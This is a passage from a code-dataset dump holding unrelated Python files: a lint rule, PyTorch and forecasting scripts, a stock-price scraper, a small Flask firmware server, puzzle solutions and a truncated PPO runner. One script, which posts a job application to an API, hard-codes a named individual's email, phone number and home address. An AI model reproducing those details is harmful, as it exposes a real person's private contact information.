\n","sub_path":"Connected_project/pc/CoapClientConnector.py","file_name":"CoapClientConnector.py","file_ext":"py","file_size_in_byte":3201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"539218580","text":"\"\"\"Implementation of meta-incorrect rule.\"\"\"\n# Copyright (c) 2018, Ansible Project\nfrom __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nfrom ansiblelint.constants import LINE_NUMBER_KEY, SKIPPED_RULES_KEY\nfrom ansiblelint.rules import AnsibleLintRule\n\nif TYPE_CHECKING:\n from typing import Any\n\n from ansiblelint.errors import MatchError\n from ansiblelint.file_utils import Lintable\n\n\nclass MetaChangeFromDefaultRule(AnsibleLintRule):\n \"\"\"meta/main.yml default values should be changed.\"\"\"\n\n id = \"meta-incorrect\"\n field_defaults = [\n (\"author\", \"your name\"),\n (\"description\", \"your description\"),\n (\"company\", \"your company (optional)\"),\n (\"license\", \"license (GPLv2, CC-BY, etc)\"),\n (\"license\", \"license (GPL-2.0-or-later, MIT, etc)\"),\n ]\n values = \", \".join(sorted({f[0] for f in field_defaults}))\n description = (\n f\"You should set appropriate values in meta/main.yml for these fields: {values}\"\n )\n severity = \"HIGH\"\n tags = [\"metadata\"]\n version_added = \"v4.0.0\"\n\n def matchyaml(self, file: Lintable) -> list[MatchError]:\n if file.kind != \"meta\" or not file.data:\n return []\n\n galaxy_info = file.data.get(\"galaxy_info\", None)\n if not galaxy_info:\n return []\n\n results = []\n for field, default in self.field_defaults:\n value = galaxy_info.get(field, None)\n if value and value == default:\n if \"meta-incorrect\" in file.data.get(SKIPPED_RULES_KEY, []):\n continue\n results.append(\n self.create_matcherror(\n filename=file,\n linenumber=file.data[LINE_NUMBER_KEY],\n message=f\"Should change default metadata: {field}\",\n )\n )\n\n return results\n","sub_path":"src/ansiblelint/rules/meta_incorrect.py","file_name":"meta_incorrect.py","file_ext":"py","file_size_in_byte":1897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"150059970","text":"import torch\r\nimport torch.nn.functional as F\r\n\r\n\r\n# replace following class code with an easy sequential network\r\nclass Net(torch.nn.Module):\r\n def __init__(self, n_feature, n_hidden, n_output):\r\n super(Net, self).__init__()\r\n self.hidden = torch.nn.Linear(n_feature, n_hidden) # hidden layer\r\n self.predict = torch.nn.Linear(n_hidden, n_output) # output layer\r\n\r\n def forward(self, x):\r\n x = F.relu(self.hidden(x)) # activation function for hidden layer\r\n x = self.predict(x) # linear output\r\n return x\r\n\r\nnet1 = Net(1, 10, 1) # 这是我们用这种方式搭建的 net1\r\n\r\n# easy and fast way to build your network\r\n# 顺序容器。模块将按在构造函数中传递的顺序添加到其中。\r\n# 或者,也可以传入有序的模块口述。\r\n# Example of using Sequential\r\n# model = nn.Sequential(\r\n# nn.Conv2d(1,20,5),\r\n# nn.ReLU(),\r\n# nn.Conv2d(20,64,5),\r\n# nn.ReLU()\r\n# )\r\n#\r\n# # Example of using Sequential with OrderedDict\r\n# model = nn.Sequential(OrderedDict([\r\n# ('conv1', nn.Conv2d(1,20,5)),\r\n# ('relu1', nn.ReLU()),\r\n# ('conv2', nn.Conv2d(20,64,5)),\r\n# ('relu2', nn.ReLU())\r\n# ]))\r\nnet2 = torch.nn.Sequential(\r\n torch.nn.Linear(1, 10),\r\n torch.nn.ReLU(),\r\n torch.nn.Linear(10, 1)\r\n)\r\n\r\n# 对比两种搭建网络的结构\r\nprint(net1) # net1 architecture\r\n\"\"\"\r\nNet(\r\n (hidden): Linear(in_features=1, out_features=10, bias=True)\r\n (predict): Linear(in_features=10, out_features=1, bias=True)\r\n)\r\n\"\"\"\r\n\r\nprint(net2) # net2 architecture\r\n\"\"\"\r\nSequential(\r\n (0): Linear(in_features=1, out_features=10, bias=True)\r\n (1): ReLU()\r\n (2): Linear(in_features=10, out_features=1, bias=True)\r\n)\r\n\"\"\"\r\n\r\n# 相比 net2, net1 的好处就是, 你可以根据你的个人需要更加个性化你自己的前向传播过程, 比如(RNN).\r\n# 不过如果你不需要七七八八的过程, 相信 net2 这种形式更适合你.\r\n","sub_path":"02_建造第一个神经网络/03_快速搭建法.py","file_name":"03_快速搭建法.py","file_ext":"py","file_size_in_byte":2018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"239282642","text":"import sys\ninput = sys.stdin.readline\nsys.setrecursionlimit(10 ** 7)\n\nn = int(input())\na = list(map(int, input().split()))\n\nans = 0\nup = None\nprev = None\nfor v in a:\n if prev == v:\n continue\n if prev is not None:\n if up is None:\n up = (prev <= v)\n else:\n if (prev <= v) != up:\n ans += 1\n up = None\n prev = v\nprint(ans + 1)\n","sub_path":"grand_contest/013/A.py","file_name":"A.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"555946445","text":" # -*- coding: utf-8 -*-\nimport re\nimport math\nimport copy\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\nfrom tf_lstm import LSTM\nfrom keras_lstm import mLSTM\n\n# =============================================================================\n# Number of days of every month\n# =============================================================================\nmonth = dict()\nmonth[1] = 31\nmonth[2] = 30\nmonth[3] = 31\nmonth[4] = 30\nmonth[5] = 31\nmonth[6] = 30\nmonth[7] = 31\nmonth[8] = 31\nmonth[9] = 30\nmonth[10] = 31\nmonth[11] = 30\nmonth[12] = 31\n\ninput_path = './input_5flavors_cpu_7days.txt.'\ntest_path = './TestData_2015.2.20_2015.2.27.txt'\ntrain_path = 'TrainData_2015.1.1_2015.2.19.txt'\n\ntotal_flavor = 15\nstandardlization = 1\n\nglobal sample_ps\nsample_vm = list()\nglobal dim_to_be_optimized\nglobal history_begin\nglobal predict_begin\nglobal predict_end\nglobal flavor_num\n\n# =============================================================================\n# physical server class definition\n# =============================================================================\nclass PhysicalServer:\n \n def __init__(self, cpu, mem, sto):\n self.cpu = cpu\n self.rest_cpu = cpu\n self.mem = mem\n self.rest_mem = mem\n self.sto = sto\n self.rest_sto = sto\n self.vm = []\n \n def addVm(self, vm):\n self.vm.append(vm)\n self.rest_cpu -= vm.cpu\n self.rest_mem -= vm.mem\n self.rest_sto -= vm.sto\n \n def rmVm(self, num):\n self.rest_cpu += self.vm[num].cpu\n self.rest_mem += self.vm[num].mem\n self.rest_sto += self.vm[num].sto\n del self.vm[num]\n \n def state(self):\n print('Total CPU: ' + str(self.cpu) + '\\n' +\n 'Used CPU: ' + str(self.cpu - self.rest_cpu) + '\\n' +\n 'Rest CPU: ' + str(self.rest_cpu) +'\\n')\n print('Total memory: ' + str(self.mem) + '\\n' +\n 'Used memory: ' + str(self.mem - self.rest_mem) + '\\n' +\n 'Rest memory: ' + str(self.rest_mem) + '\\n')\n print('Total storage: ' + str(self.sto) + '\\n' +\n 'Used storage: ' + str(self.sto - self.rest_sto) + '\\n' +\n 'Rest storage: ' + str(self.rest_sto) + '\\n')\n print('Total virtual machine: ' + str(len(self.vm)) + '\\n' +\n 'List: ')\n for i in range(len(self.vm)):\n print(' VM ' + str(i) + ': ')\n self.vm[i].state()\n print('\\n')\n \n \n# =============================================================================\n# virtual machine class definition\n# =============================================================================\nclass VirtualMachine:\n \n def __init__(self, num, cpu, mem):\n self.num = num\n self.cpu = cpu\n self.mem = mem\n \n def state(self):\n print('Flavor' + str(self.num) + ': \\n'\n ' CPU: ' + str(self.cpu) + '\\n' +\n ' Memory: ' + str(self.mem) + '\\n')\n \n \n# =============================================================================\n# Convert time into value\n# =============================================================================\ndef time2val(time):\n \n #yyyy = time[0:4]\n mm = time[5:7]\n dd = time[8:10]\n hh = time[11:13]\n \n # Convertion\n #yyyy *= 365 * 24\n mm = int(mm)\n dd = int(dd)\n hh = int(hh)\n \n # To value\n value = 0\n mm -= 1\n for i in range(0, mm):\n value += month[i+1] * 24\n value += (dd-1) * 24 + hh\n \n return int(value / 24)\n \n\n# =============================================================================\n# Read data from given txt\n# =============================================================================\ndef readData():\n \n global sample_ps\n global sample_vm\n global dim_to_be_optimized\n global history_begin\n global predict_begin\n global predict_end\n global flavor_num\n \n # Read input file\n now_block = 0\n flavor_num = 0\n flavor_list = []\n f = open(input_path, 'r+', encoding='utf-8')\n for line in f:\n if line is not '\\n':\n if now_block == 0:\n space_1 = line.find(' ')\n space_2 = line.find(' ', space_1+1)\n CPU = int(line[0:space_1])\n MEM = int(line[space_1:space_2])\n STO = int(line[space_2:])\n sample_ps = PhysicalServer(CPU, MEM, STO)\n sample_ps.state()\n now_block += 1\n else:\n if now_block == 1:\n flavor_num = int(line)\n for i in range(flavor_num):\n line = f.readline()\n space_1 = line.find(' ')\n space_2 = line.find(' ', space_1+1)\n space_3 = line.find('\\n', space_2+1)\n NUM = int(line[6:space_1])\n CPU = int(line[space_1:space_2])\n MEM = int(line[space_2:space_3])\n tempVM = VirtualMachine(NUM, CPU, MEM)\n sample_vm.append(tempVM)\n flavor_list.append(NUM)\n tempVM.state()\n now_block += 1\n else:\n if now_block == 2:\n dim_to_be_optimized = line.replace('\\n', '')\n print('The dimension to be optimized is: ' + dim_to_be_optimized)\n now_block += 1\n else:\n if now_block == 3:\n predict_begin = line.replace('\\n', '')\n predict_end = f.readline().replace('\\n', '')\n print('Predict time begin at: ' + predict_begin)\n print('Predict time end at: ' + predict_end)\n print('\\n')\n \n \n # Read the beginning time\n line = open(train_path, encoding='utf-8').readline()\n space_1 = line.find('\\t')\n space_2 = line.find('\\t', space_1+1)\n history_begin = line[space_2+1:].replace('\\n', '')\n \n history_data = [[.0]for i in range(total_flavor)]\n for i in range(total_flavor):\n for j in range(time2val(history_begin), time2val(predict_begin) - 1):\n history_data[i].append(0)\n \n future_data = [[.0]for i in range(total_flavor)]\n for i in range(total_flavor):\n for j in range(time2val(predict_begin), time2val(predict_end) - 1):\n future_data[i].append(0)\n \n # Read history data\n for line in open(train_path, encoding='utf-8'):\n space_1 = line.find('\\t')\n space_2 = line.find('\\t', space_1+1)\n temp_flavor = int(line[space_1+7:space_2])\n temp_time = line[space_2+1:].replace('\\n', '')\n if temp_time is not None:\n value = time2val(temp_time)\n if temp_flavor <= total_flavor:\n history_data[temp_flavor-1][value] += 1 * standardlization\n else:\n pass\n# print('Flavor data error.\\n')\n# print('Now flavor: ' + str(temp_flavor))\n else:\n print('Time data error.\\n')\n \n \n # Print history data\n print('History data: ')\n print('Total diffs: ' + str(len(history_data[0])))\n for i in range(total_flavor):\n print('Flavor' + str(i+1) + ': (Total: ' + str(sum(history_data[i])) + ')\\n' + str(history_data[i]) + '\\n')\n \n # Read test data\n for line in open(test_path, encoding='utf-8'):\n space_1 = line.find('\\t')\n space_2 = line.find('\\t', space_1+1)\n temp_flavor = int(line[space_1+7:space_2])\n temp_time = line[space_2+1:].replace('\\n', '')\n if temp_time is not None:\n value = time2val(temp_time) - time2val(predict_begin) - 1\n if temp_flavor <= total_flavor:\n future_data[temp_flavor-1][value] += 1 * standardlization\n else:\n pass\n# print('Flavor data error.\\n')\n# print('Now flavor: ' + str(temp_flavor))\n else:\n print('Time data error.\\n')\n \n \n # Print history data\n print('Future data: ')\n print('Total diffs: ' + str(len(future_data[0])))\n for i in range(total_flavor):\n print('Flavor' + str(i+1) + ': (Total: ' + str(sum(future_data[i])) + ')\\n' + str(future_data[i]) + '\\n')\n# plt.plot(history_data[2])\n \n return history_data, future_data\n\n# =============================================================================\n# 数据加和\n# =============================================================================\ndef data_addup(dataset, n=7):\n dataset_copy = copy.deepcopy(dataset)\n for i in range(total_flavor):\n for j in range(n-1, len(dataset[i])):\n dataset[i][j] = sum(dataset_copy[i][j-n+1:j+1])\n return dataset\n \n# =============================================================================\n# 差分数据\n# =============================================================================\ndef data_difference(dataset, interval=1):\n diff = [[]for i in range(total_flavor)]\n for i in range(total_flavor):\n for j in range(interval, len(dataset[i])):\n value = dataset[i][j] - dataset[i][j-interval]\n diff[i].append(value)\n return diff\n\n# =============================================================================\n# Sigmoid变换\n# =============================================================================\ndef sigmoid(value):\n \n return (1.0 / (1 + math.exp(-value)))\n\ndef list_sigmoid(dataset):\n sig = list()\n for i in range(len(dataset)):\n if dataset[i] is not 0:\n value = sigmoid(dataset[i])\n sig.append(value)\n else:\n sig.append(0)\n return sig\n \n# =============================================================================\n# Sigmoid反变换\n# =============================================================================\ndef asigmoid(value):\n return -math.log((1.0 / value) - 1)\n\ndef list_asigmoid(dataset):\n sig = list()\n for i in range(len(dataset)):\n if dataset[i] is not 0:\n value = asigmoid(dataset[i])\n sig.append(value)\n else:\n sig.append(0)\n return sig\n\n# =============================================================================\n# Main\n# =============================================================================\nif __name__ == '__main__':\n\n history_data, future_data = readData()\n data = [[]for i in range(total_flavor)]\n for i in range(total_flavor):\n for j in range(len(history_data[i])):\n data[i].append(history_data[i][j])\n for j in range(len(future_data[i])):\n data[i].append(future_data[i][j])\n\n data = data_addup(data)\n # data = data_difference(data)\n\n lstm = mLSTM(data[1])\n lstm.lstm_model()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"225589154","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Aug 22 13:21:43 2018\n\n@author: KwangwonSeo\n\"\"\"\n\nimport datetime\nimport os\nimport shutil\nimport json\nimport pandas as pd\nfrom dateutil.parser import parse\nfrom pandas import DataFrame\nfrom urllib.request import urlopen\nfrom bs4 import BeautifulSoup\nfrom slacker_sender import send_log_to_slack\n\n## ★☆★ Control Panel ---------------------------------------------------------------------------------------------\norigin_folder = r'C:\\Users\\KwangwonSeo\\(py)재무제표_MySQL\\Finance\\PRICE'\nupdate_folder = r'C:\\Users\\KwangwonSeo\\(py)재무제표_MySQL\\Finance\\PRICE\\Update'\ngithub_folder = r'D:\\Users\\KwangwonSeo\\Documents\\GitHub\\CompCodes\\PRICE'\ngithub_main = r'D:\\Users\\KwangwonSeo\\Documents\\GitHub\\CompCodes'\ncode_folder = r'C:\\Users\\KwangwonSeo\\(py)재무제표_MySQL\\Finance'\n## ------------------------------------------------------------------------------------------------------------------\n\ndef company_code_update(code_folder):\n \n kospi = pd.read_html('http://kind.krx.co.kr/corpgeneral/corpList.do?method=download&marketType=stockMkt&searchType=13', header=0)[0]\n kosdaq = pd.read_html('http://kind.krx.co.kr/corpgeneral/corpList.do?method=download&marketType=kosdaqMkt&searchType=13', header=0)[0]\n \n code_list = list([])\n name_list = list([])\n kospi_index = list([])\n market_list = list([])\n for ii in list(range(len(kospi))):\n if not(kospi.iloc[ii]['업종'] in ['부동산 임대 및 공급업', '신탁업 및 집합투자업', '운송장비 임대업']):\n kospi_index.append(ii)\n market_list.append('KOSPI')\n code_list.append(str(kospi.iloc[ii]['종목코드']).zfill(6))\n name_list.append(kospi.iloc[ii]['회사명'])\n kospi = kospi.iloc[kospi_index]\n kospi.loc[:,'Market'] = market_list\n \n kosdaq_index = list([])\n market_list = list([])\n for ii in list(range(len(kosdaq))):\n if not(kosdaq.iloc[ii]['업종'] in ['금융 지원 서비스업']):\n kosdaq_index.append(ii)\n market_list.append('KOSDAQ')\n code_list.append(str(kosdaq.iloc[ii]['종목코드']).zfill(6))\n name_list.append(kosdaq.iloc[ii]['회사명'])\n kosdaq = kosdaq.iloc[kosdaq_index]\n kosdaq.loc[:,'Market'] = market_list\n \n tickers = dict(list(zip(code_list,name_list)))\n tickers = dict(sorted(tickers.items()))\n tickers_rev = dict((y,x) for x,y in tickers.items())\n markets = pd.concat([kospi, kosdaq])\n main_data = markets.drop('종목코드', 1)\n save_csv = pd.DataFrame(main_data)\n save_csv.index = code_list\n save_csv = save_csv.sort_index(axis = 0)\n save_csv.to_csv(code_folder + '\\\\CompCode.csv', na_rep = '', encoding = 'utf-8')\n shutil.copy(os.path.join(code_folder, 'CompCode.csv'), os.path.join(github_main, 'CompCode.csv'))\n \n return tickers, tickers_rev\n\n[tickers, tickers_rev] = company_code_update(code_folder)\n\ndef replace_all(text, dic):\n for i, j in dic.items():\n text = text.replace(i, j)\n return text\n\ndef stock_prices_update(tickers, origin_folder, update_folder):\n ii = 0\n for code in tickers.keys():\n \n ii = ii + 1\n origin_path = origin_folder + '\\\\' + code + '.csv'\n update_path = update_folder + '\\\\' + code + '.csv'\n \n try:\n origin_data = pd.read_csv(origin_path, engine='python', encoding = 'utf-8', index_col = 0)\n file_existence = 1\n except:\n file_existence = 0\n \n if file_existence:\n last_date = str(list(origin_data.tail(1).index))\n last_date = datetime.date(int(last_date[2:6]), int(last_date[7:9]), int(last_date[10:12]))\n last_close = str(list(origin_data.tail(1)['Close']))\n \n date = list([]); close = list([]); weekno = list([]);\n days = (datetime.date.today() - last_date); days = days.days;\n \n url = 'http://finance.daum.net/api/charts/A' + code + '/days?limit=' + str(days) + '&adjusted=true'\n html = urlopen(url) \n soup = BeautifulSoup(html.read(), \"html.parser\")\n source = soup.text\n strings = {'{\"data\":[':'',']}':'',\"'\":''}\n source = replace_all(source, strings)\n source = source.split('},{')\n for line in source:\n line = line.replace('{','').replace('}','')\n line = '{' + line + '}'\n line = json.loads(line)\n date_temp = datetime.datetime.strptime(line['date'], '%Y-%m-%d')\n date_temp = datetime.date(date_temp.year, date_temp.month, date_temp.day)\n date.append(date_temp)\n close.append(\"{:,.0f}\".format(line['tradePrice']))\n weekno.append(parse(line['date']).isocalendar()[1])\n \n index = date.index(last_date)\n if last_close.replace(\"['\",'').replace(\"']\",'') == close[index]:\n \n date = date[index+1:]; close = close[index+1:]; weekno = weekno[index+1:];\n update_data = DataFrame()\n if len(close) != 0:\n update_data['Close'] = close\n update_data['Week No.'] = weekno\n update_data.index = date\n update_data = update_data.sort_index(ascending=True)\n \n origin_data = pd.concat([origin_data, update_data])\n \n else:\n \n date = list([]); close = list([]); weekno = list([]);\n days = (datetime.datetime.now() - datetime.datetime(1983, 1, 1, 0, 0)); days = days.days;\n \n url = 'http://finance.daum.net/api/charts/A' + code + '/days?limit=' + str(days) + '&adjusted=true'\n html = urlopen(url) \n soup = BeautifulSoup(html.read(), \"html.parser\")\n source = soup.text\n strings = {'{\"data\":[':'',']}':'',\"'\":''}\n source = replace_all(source, strings)\n source = source.split('},{')\n for line in source:\n line = line.replace('{','').replace('}','')\n line = '{' + line + '}'\n line = json.loads(line)\n date_temp = datetime.datetime.strptime(line['date'], '%Y-%m-%d')\n date_temp = datetime.date(date_temp.year, date_temp.month, date_temp.day)\n date.append(date_temp)\n close.append(\"{:,.0f}\".format(line['tradePrice']))\n weekno.append(parse(line['date']).isocalendar()[1])\n \n origin_data = DataFrame()\n if len(close) != 0:\n origin_data['Close'] = close\n origin_data['Week No.'] = weekno\n origin_data.index = date\n origin_data = origin_data.sort_index(ascending=True)\n \n origin_data.to_csv(update_path, na_rep = '', encoding = 'utf-8')\n \n else:\n \n date = list([]); close = list([]); weekno = list([]);\n days = (datetime.datetime.now() - datetime.datetime(1983, 1, 1, 0, 0)); days = days.days;\n \n url = 'http://finance.daum.net/api/charts/A' + code + '/days?limit=' + str(days) + '&adjusted=true'\n html = urlopen(url) \n soup = BeautifulSoup(html.read(), \"html.parser\")\n source = soup.text\n strings = {'{\"data\":[':'',']}':'',\"'\":''}\n source = replace_all(source, strings)\n source = source.split('},{')\n for line in source:\n line = line.replace('{','').replace('}','')\n line = '{' + line + '}'\n line = json.loads(line)\n date_temp = datetime.datetime.strptime(line['date'], '%Y-%m-%d')\n date_temp = datetime.date(date_temp.year, date_temp.month, date_temp.day)\n date.append(date_temp)\n close.append(\"{:,.0f}\".format(line['tradePrice']))\n weekno.append(parse(line['date']).isocalendar()[1])\n \n origin_data = DataFrame()\n if len(close) != 0:\n origin_data['Close'] = close\n origin_data['Week No.'] = weekno\n origin_data.index = date\n origin_data = origin_data.sort_index(ascending=True)\n \n origin_data.to_csv(update_path, na_rep = '', encoding = 'utf-8')\n \n print(str(ii) + '/' + str(len(tickers)) + ' : ' + tickers[code] + '(' + code + ')' + ' 완료')\n\ndef stock_prices_arranger(update_folder):\n files = os.listdir(update_folder)\n for file in files:\n update_path = os.path.join(update_folder, file)\n try:\n update_data = pd.read_csv(update_path, engine='python', encoding = 'utf-8', index_col = 0)\n status_okay = 1\n except:\n update_data = DataFrame()\n status_okay = 0\n update_data = update_data[~update_data.index.duplicated(keep='first')]\n ranges = list(range(len(update_data)))\n jj_index = list([])\n for jj in ranges:\n if jj == 0:\n pass\n else:\n try:\n back = float(update_data['Close'][update_data.index[jj-1]].replace(',',''))\n forth = float(update_data['Close'][update_data.index[jj]].replace(',',''))\n except:\n back = float(update_data['Close'][update_data.index[jj-1]])\n forth = float(update_data['Close'][update_data.index[jj]])\n \n if back != 0 and forth > (back * 1.3):\n jj_index.append(jj)\n if status_okay:\n update_data.loc[update_data.index[jj_index], 'Close'] = '0'\n update_data.to_csv(update_path, na_rep = '', encoding = 'utf-8')\n \nstock_prices_update(tickers, origin_folder, update_folder)\nstock_prices_arranger(update_folder)\n \nfiles = os.listdir(update_folder)\nfor file in files:\n path = os.path.join(update_folder, file)\n if (os.path.isfile(path)):\n shutil.copy(path, github_folder)\n shutil.move(path, os.path.join(origin_folder, file))\n\nprint('주가 업데이트: ' + str(datetime.date.today()))\nsend_log_to_slack('Home Desktop', '주가 업데이트 완료, Ready to Git Commit & Push')\n","sub_path":"Stock_Price_Update_Rev01.py","file_name":"Stock_Price_Update_Rev01.py","file_ext":"py","file_size_in_byte":10497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"80021669","text":"__author__ = 'SteveP'\n\"\"\"\nAscii character printer\n\"\"\"\n\ndef getNumber():\n finished = False\n while not finished:\n try:\n number = int(input(\"Enter a number (10-50): \"))\n finished = True\n except ValueError:\n print(\"Please enter a valid number: \")\n while number < 10 or number > 50:\n print(\"Please enter a valid number: \")\n number = int(input(\"Enter a number (10-50): \"))\n return number\n\ndef main():\n lower = getNumber()\n upper = getNumber()+1\n for i in range(lower, upper):\n print(\"{:<6} {:<6}\".format(i, chr(i)))\n\nmain()","sub_path":"Prac03/asciiTable.py","file_name":"asciiTable.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"443081477","text":"import requests\nimport json\n\nif __name__ == '__main__':\n\tdata = {\n\t\t\"full_name\": \"Richard Medeiro Turra\",\n\t\t\"email\": \"stdevelopr@gmail.com\",\n\t\t\"mobile_phone\": \"+447365954569\",\n\t\t\"age\": 36,\n\t\t\"home_address\": \"Rua Prudente de Moraes 60 Suzano/SP\",\n\t\t\"start_date\": 431395200,\n\t\t\"opportunity_tag\": \"python developer\",\n\t\t\"past_jobs_experience\": \"I graduated on geophysics and developed a python software to model seismic reflection data.\\\n\t\tI also worked for 1 year in a customer success company as python developer\",\n\t\t\"degrees\": [{\n\t\t\t\"institution_name\": \"Sao Paulo University (USP)\",\n\t\t\t\"degree_name\": \"Geophysics\",\n\t\t\t\"begin_date\": 1359676800,\n\t\t\t\"end_date\": 1485907200\n\t\t}],\n\t\t\"programming_skills\": [\"python\", \"flask\", \"javascript\", \"react\", \"html\", \"css\", \"machine learning\"],\n\t\t\"database_skills\": [\"mongodb\", \"postgresql\"],\n\t\t\"hobbies\": [\"studying\", \"walking\"],\n\t\t\"why\": \"I enjoy working with data and geo things.\",\n\t\t\"git_url_repositories\": \"https://github.com/stdevelopr\"\n\t}\n\theaders = {\n\t\t'Content-type': 'application/json'\n\t}\n\tr = requests.post('https://engine.scicrop.com/scicrop-engine-web/api/v1/jobs/post_resume', data=json.dumps(data), headers=headers)\n\tprint(r.text)\n","sub_path":"scicrop-api-test-python.py","file_name":"scicrop-api-test-python.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"558592765","text":"from commands.device import register as device_register\nfrom flask import Flask, request, send_from_directory\napp = Flask(__name__, static_url_path='')\n\n#@app.route(\"/\")\ndef hello():\n res = (\"update=openwrt-18.06.2-x86-64-combined-squashfs.img\\n\"\n \"\"\"exec=opkg install mc\\n\"\"\")\n print (res)\n return res \n\n@app.route('/fw/')\ndef send_fw(path):\n return send_from_directory('', path)\n \n@app.route(\"/register\", methods=['POST'])\ndef register():\n params = dict(request.form)\n params['ip'] = request.remote_addr\n print (dict(request.form))\n device_register(**params)\n return \"OK\\n\"\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0', port=5000)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"296831965","text":"from advent import Session\n\naoc = Session(2020,15)\n\nwith aoc.fp() as fp:\n L = [int(x) for x in fp.read().strip().split(\",\")]\ndef solve(rounds,L):\n spoken = {}\n cycle = 1\n new = False\n for e in L:\n new = e not in spoken\n if(e in spoken):\n spoken[e][0] = spoken[e][1]\n spoken[e][1] = cycle\n else:\n spoken[e] = [0,cycle]\n n = e\n cycle += 1\n\n while cycle < rounds+1:\n if(new):\n n = 0\n else:\n n = spoken[n][1] - spoken[n][0]\n \n new = n not in spoken\n if(n in spoken):\n spoken[n][0] = spoken[n][1]\n spoken[n][1] = cycle\n else:\n spoken[n] = [0,cycle]\n cycle += 1\n return n\nsilver = solve(2020,L)\nprint(\"silver:\",silver)\ngold = solve(30000000,L)\nprint(\"gold:\",gold)\n \n","sub_path":"benchmark/day15.py","file_name":"day15.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"233987966","text":"# flake8: noqa\n# TODO: base the source code on Stable Baselines instead of Baselines\n# TODO: fix PEP8 violations inherited from Baselines\n# TODO: mostly untested -- should view this implementation as suspect\n\nfrom collections.__init__ import deque\nimport functools\nimport os\nfrom os import path as osp\nimport time\n\nfrom baselines import logger\nfrom baselines.common import explained_variance, set_global_seeds, tf_util\nfrom baselines.common.policies import build_policy\nimport numpy as np\nimport tensorflow as tf\n\nfrom aprl.agents.self_play import AbstractMultiEnvRunner, SelfPlay, e_arr\nfrom aprl.envs import FakeSingleSpacesVec\n\ntry:\n from mpi4py import MPI\nexcept ImportError:\n MPI = None\n\n\ndef _sf01(arr):\n \"\"\"\n swap and then flatten axes 0 and 1\n \"\"\"\n s = arr.shape\n return arr.swapaxes(0, 1).reshape(s[0] * s[1], *s[2:])\n\n\nclass PPOMultiRunner(AbstractMultiEnvRunner):\n \"\"\"\n We use this object to make a mini batch of experiences\n __init__:\n - Initialize the runner\n\n run():\n - Make a mini batch\n \"\"\"\n def __init__(self, *, env, agents, nsteps, gamma, lam):\n super().__init__(env=env, agents=agents, nsteps=nsteps)\n # Lambda used in GAE (General Advantage Estimation)\n self.lam = lam\n # Discount rate\n self.gamma = gamma\n\n def run(self):\n # Memory buffer values mb_* are indexed [model_id, timestep, env_id].\n # self.obs, self.dones and actions are indexed [env_id, model_id].\n\n # Here, we init the lists that will contain the experience buffer\n assert len(self.agents) == len(self.env.observation_space.spaces)\n assert len(self.agents) == len(self.env.action_space.spaces)\n\n def e_list():\n return [[] for _ in self.agents]\n\n mb_obs, mb_rewards, mb_actions = e_list(), e_list(), e_list()\n mb_values, mb_dones, mb_neglogpacs = e_list(), e_list(), e_list()\n epinfos = []\n\n # Gather environment experience for n in range number of steps\n actions = e_arr(self.nenv, self.env.action_space)\n for _ in range(self.nsteps):\n # Given observations, get action value and neglopacs\n # We already have self.obs because Runner superclass\n # runs self.obs[:] = env.reset() on init.\n for i, agent in enumerate(self.agents):\n # SOMEDAY: evaluate models in parallel?\n a, v, self.states[i], nlogp = agent.step(self.obs[i],\n S=self.states[i],\n M=self.dones)\n mb_obs[i].append(self.obs[i].copy())\n actions[i] = a\n mb_actions[i].append(a)\n mb_values[i].append(v)\n mb_neglogpacs[i].append(nlogp)\n mb_dones[i].append(self.dones)\n\n # Take actions in env and look the results\n # Infos contains a ton of useful informations\n obs, rewards, self.dones[:], infos = self.env.step(actions)\n for sobs, eobs in zip(self.obs, obs):\n sobs[:] = eobs\n for info in infos:\n maybeepinfo = info.get('episode')\n if maybeepinfo: epinfos.append(maybeepinfo)\n for i in range(self.nagents):\n mb_rewards[i].append(rewards[i])\n\n #batch of steps to batch of rollouts\n mb_obs = [np.asarray(x, dtype=sobs.dtype) for x, sobs in zip(mb_obs, self.obs)]\n mb_rewards = np.asarray(mb_rewards, dtype=np.float32)\n mb_actions = [np.asarray(x, dtype=sact.dtype) for x, sact in zip(mb_actions, actions)]\n mb_values = np.asarray(mb_values, dtype=np.float32)\n mb_neglogpacs = np.asarray(mb_neglogpacs, dtype=np.float32)\n mb_dones = np.asarray(mb_dones, dtype=np.bool)\n last_values = np.zeros((self.nenv, len(self.env.observation_space.spaces)))\n for i, agent in enumerate(self.agents):\n last_values[:, i] = agent.value(self.obs[i],\n S=self.states[i],\n M=self.dones)\n last_values = last_values.swapaxes(0, 1)\n\n # discount/bootstrap off value fn\n mb_advs = np.zeros_like(mb_rewards)\n lastgaelam = 0\n for t in reversed(range(self.nsteps)):\n if t == self.nsteps - 1:\n nextnonterminal = 1.0 - self.dones\n nextvalues = last_values\n else:\n nextnonterminal = 1.0 - mb_dones[:, t+1]\n nextvalues = mb_values[:, t+1]\n delta = mb_rewards[:, t] + self.gamma * nextvalues * nextnonterminal - mb_values[:, t]\n mb_advs[:, t] = lastgaelam = delta + self.gamma * self.lam * nextnonterminal * lastgaelam\n mb_returns = mb_advs + mb_values\n\n res = []\n for i in range(self.nagents):\n x = (*map(_sf01, (mb_obs[i], 